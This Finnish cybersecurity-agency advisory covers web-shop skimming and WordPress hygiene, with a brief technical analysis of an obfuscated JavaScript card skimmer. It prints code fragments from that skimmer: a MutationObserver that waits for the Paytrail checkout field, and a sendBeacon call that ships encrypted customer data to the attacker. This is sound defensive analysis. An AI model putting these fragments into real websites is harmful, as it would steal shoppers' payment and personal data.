Etusivu: Kyberturvallisuuskeskus
Etusivu: Kyberturvallisuuskeskus
Valikko

Tietoturva Nyt!

Yhä useammalla organisaatiolla on jonkinlainen maksu- ja henkilötietoja käsittelevä verkkokauppa, ja useimmilla vähintään verkkosivut. Uudessa ohjeessamme annamme vinkkejä verkkokauppojen turvallisuuden parantamiseen. Tässä kirjoituksessa käsittelemme myös ajankohtaisia asioita ohjeen taustalla.

Uudessa WordPress-ohjeessa annamme vinkkejä julkaisujärjestelmien turvallisempaan ylläpitoon niin tavallisille käyttäjille kuin ammattilaisille. Muistutamme myös, että Kyberturvallisuuskeskus ei erikseen tiedota WordPress-lisäosien haavoittuvuuksista.

Kyberturvallisuuskeskus on viime aikoina tehnyt havaintoja henkilö- ja maksutietojen kaappaamisesta verkkokaupoissa asioivilta käyttäjiltä. Ilmiötä kutsutaan digitaaliseksi skimmaukseksi (engl. digital skimming). Lisäksi murrettuja verkkosivuja käytetään yleisesti kalastelun levittämiseen ja mahdollistamiseen.

Sivustojen ja verkkokauppojen turvallisuus on tärkeää, koska vaikutukset taloudellisesti sekä yrityksen maineen kannalta voivat olla suuret. Tietomurron selvittäminen vaatii lisätyötä ja usein murrot vaikuttavat myös yksittäisten asiakkaiden tietosuojaan, jolloin asiasta on ilmoitettava tietosuojavaltuutetulle.

Ohjeessa kiinnitämmekin huomiota verkkokauppoihin. Vaikka moni verkkokauppa ei suoraan varastoi asiakkaiden henkilö- ja maksutietoja, ei se poista riskiä, jonka mahdollinen tietomurto aiheuttaa.

"Tietojen kaappaaminen onnistuu, vaikka tiedot lähetettäisiin suoraan erillisen maksupalveluntarjoajan järjestelmään. Haittakoodin sivustolle ujuttamalla rikolliset saavat kaapattua tiedot uhrin selaimesta, kun uhri täyttää tietonsa verkkokaupan sivulle", kertoo Liikenne- ja viestintävirasto Traficomin Kyberturvallisuuskeskuksen tietoturva-asiantuntija Antti Louko.

Skimmausta voi olla vaikea havaita, sillä rikolliset eivät aina hyödynnä hankkimiaan tietoja heti, vaan saattavat esimerkiksi myydä niitä eteenpäin myöhemmin käytettäväksi.

"Verkkorikolliset ovat erikoistuneet eri tehtäviin. Jotkut keräävät tietoja myydäkseen niitä eteenpäin, joten tietoja saatetaan hyödyntää myöhemmin hyvin erilaisessa yhteydessä kuin missä ne on alun perin kerätty", Louko jatkaa.

Selkeästi erottuva vinkki hämärästä toiminnasta on, jos sivustolle ilmestyy uusia outoja käyttäjiä, tai tuntemattomia lisäosia. Säännöllisesti kannattaa myös testata oma verkkokauppa “ostamalla” sieltä jotain, eli varmistaa itse sitä käyttämällä, että verkkokauppa näyttää siltä miltä pitääkin.

Joskus havaitseminen vaatii, että verkkosivujen toimintaan perehtynyt käy läpi sivuston lähdekoodin ja etsii sieltä erityisen outoa tai vaikeannäköistä koodia. Rikolliset pyrkivät yleensä tekemään koodista mahdollisimman hankalasti luettavaa ja vaikeaselkoista.

"WordPress-julkaisujärjestelmän tapauksessa on myös viitteitä, että hyökkääjät pyrkivät säilyttämään jalansijan murretussa järjestelmässä ja ujuttavat sen vuoksi esimerkiksi takaportteja sivuston koodin ja tiedostojen sekaan. Tietomurtoa tutkittaessa on siis tärkeää varmistaa kaikkien järjestelmän tiedostojen muuttumattomuus ja alkuperä", Antti Louko muistuttaa.

Jos havaitset sivustollasi sinne kuulumatonta koodia tai muuta sisältöä, se voi tarkoittaa tietomurtoa, joka on aina syytä tutkia kunnolla. Ilmoita havainnosta sivustosi palveluntarjoajalle, Kyberturvallisuuskeskukselle, sekä poliisille. Pelkkä murtojälkien siivous ei riitä, sillä se ei poista ongelmaa, jonka avulla murto on alun perin tehty.

Haittaohjelman analyysiä teknisille ylläpitäjille

Lopuksi avaamme vielä lyhyesti erään havaitsemamme haittakoodin toimintaa antamaan teknisille ylläpitäjille parempaa käsitystä ilmiöstä.

Kyberturvallisuuskeskus tutki eräästä verkkokaupasta havaittua haitallista koodia. Kyseinen haittaohjelma oli ujutettu sivulle suurehkona JavaScript-koodiosiona ja sitä oli obfuskoitu, eli tahallaan sotkettu monilla eri menetelmillä tutkinnan hankaloittamiseksi. Tässä tapauksessa haittakoodin pystyi havaitsemaan sivun muun lähdekoodin seasta selaamalla ja etsimällä _0x-alkuisia merkkijonoja.

Haittaohjelman toiminta perustuu siihen, että se on käynnissä taustalla sivuston käytön aikana ja tutkii, milloin käyttäjä on maksamassa:

const observer = new MutationObserver(function (_0x69533e) {
 const find_paytrail = document.querySelector("#paytrail_ppa");

Tässä vaiheessa haittaohjelma muokkaa sivua lisäämällä sinne omaa toiminnallisuuttaan ja kaappaa käyttäjän syöttämät tiedot. Lopuksi se lähettää tiedot salattuna beacon-toiminnon avulla rikollisille ja käyttää selaimen paikallista tallennustilaa muistamaan, milloin tiedot on viimeksi lähetetty:

navigator.sendBeacon(var_beacon, custinfo_encrypted_b64);
localStorage.setItem('uniq_id', '' + Date.now());

Haittakoodin toimintaa on obfuskoinnin vuoksi vaikeaa ymmärtää nopeasti ja ymmärtäminen vaatiikin tarkempaa analyysiä. Esimerkiksi jo joitakin kertoja sievennetyssä koodissa seuraava sisäkkäin määritelty funktio haki _0xf0e9:n palauttaman taulukon halutun alkion vähentämällä pyydetystä indeksistä heksadesimaaliarvon 180:

function _0xfab6(_0x929a12, _0xac3dc7) {
 const _0x169ba3 = _0xf0e9();                                 // hae taulukko, jonka funktio palauttaa
 _0xfab6 = function (_0x9f0b5c, _0x3132dd) {      // määrittele funktio uudestaan
   _0x9f0b5c = _0x9f0b5c - 0x180;                        // vähennä arvosta 0x180
   let _0x1a2b3c = _0x169ba3[_0x9f0b5c];          // hae ja palauta taulukon n-0x180:s alkio
   return _0x1a2b3c;
 };
 return _0xfab6(_0x929a12, _0xac3dc7);
}

Normaalissa koodissa kyseisen toiminnallisuuden tarpeellisuus olisi kyseenalainen, ja silloinkin sama voitaisiin tehdä yleensä huomattavasti helpommin ja ymmärrettävämmin. Funktion tarkoitus on vaikeuttaa sitä, että koodia tutkiva voisi suoraan nähdä, mitä osia taulukosta koodi milloinkin käyttää.

Haittaohjelmassa oli toteutettu myös kaapatun tiedon salaus, jota varten koodi kävi hakemassa salaukseen liittyvän avaimen rikollisen hallussa olevalta palvelimelta. Palvelimen osoite oli muotoiltu muistuttamaan tavallista fontteja tarjoilevaa sivustoa. Haittakoodin toiminnan pystyi siis vahvistamaan myös siitä, että murrettua sivustoa selatessa selain pyrki yhdistämään rikollisen palvelimelle.